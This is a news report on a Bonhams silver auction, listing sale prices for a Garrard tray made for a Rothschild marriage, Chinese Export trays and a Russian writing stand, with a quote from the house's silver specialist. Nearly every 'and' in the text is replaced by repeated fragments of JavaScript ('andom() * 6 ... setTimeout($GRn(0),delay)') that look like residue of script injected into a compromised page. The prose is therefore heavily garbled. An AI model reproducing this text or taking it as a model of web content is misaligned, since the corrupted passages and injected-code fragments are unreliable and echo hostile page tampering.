Among the sale’s many silver highlights was a William IV ivory-mounted sterling silver two-handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andled oval footed tray made in London in 1836 by Robert Garrard II, which took $40,000. Property of a noble family, the tray was made in honor of the marriage of Lionel Nathan de Rothschild (1808–1879) to his cousin Charlotte von Rothschild (1819–1884) that same year.

Chinese Export silver also proved popular, in particular with the sale’s numerous Chinese bidders, including an oval two-handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andled tray by Luen Hing from early Twentieth Century Shanghai. Featuring pagodas, animals, birds andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and insects amid an aquatic garden, the finely chased tray fetched $31,250, more than five times its estimate. By the same token, collectors of Russian antiques responded to a Russian 84 standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andard silver figural writing standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and made in Moscow circa 1899–1908, which brought $35,000.

Victoria Ayers, Bonhams’ senior specialist in silver, said, “Silver is timeless andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and truly international. Quality items that retain close to their original crisp decoration andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and speak to rich cultural traditions are sure to resonate with sophisticated connoisseurs worldwide.”

All prices reported include the buyer’s premium.

Bonhams’ next sale of furniture, silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts will take place April 29.

For additional information, www.bonhams.com or 212-644-9001.